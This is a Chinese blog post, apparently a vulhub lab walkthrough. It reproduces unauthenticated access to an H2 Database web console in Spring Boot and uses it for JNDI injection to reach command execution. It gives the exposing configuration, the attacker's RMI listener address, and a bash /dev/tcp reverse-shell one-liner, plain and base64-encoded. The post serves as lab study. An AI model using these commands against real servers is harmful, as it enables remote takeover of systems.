H2 Database Console未授权访问

H2 Database Console未授权访问

H2 database是一款java内存数据库,多用于单元测试。H2 database自带一个web管理页面,在Spring开发中,如果我们设置如下选项,即可允许外部用户访问WEB管理页面,且没有鉴权;

spring.h2.console.enabled=true
spring.h2.console.settings.web-allow-others=true

利用这个管理页面,我们可以进行JNDI注入攻击,进而在目标环境下执行任意命令。

漏洞环境

执行如下命令启动一个springboot + h2database环境:

cd vulhub/h2database/h2-console-unacc
docker-compose up -d

漏洞复现

使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。

img

其中,javax.naming.InitialContext是JNDI的工厂类,URL rmi://10.10.10.128:1099/e4njg0是运行JNDI工具监听的RMI地址。
点击连接后,恶意RMI成功接收到请求:
img

img

进入容器查看新建的文件

docker ps -a
docker exec -it  e030c8e3847b /bin/bash

img

img

反弹shell操作

bash -i >& /dev/tcp/10.10.10.128/4444 0>&1
编译为base64
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

img

img

img
成功!!!

posted @ 2024-04-29 15:20  kalixcn  阅读(166)  评论(0编辑  收藏  举报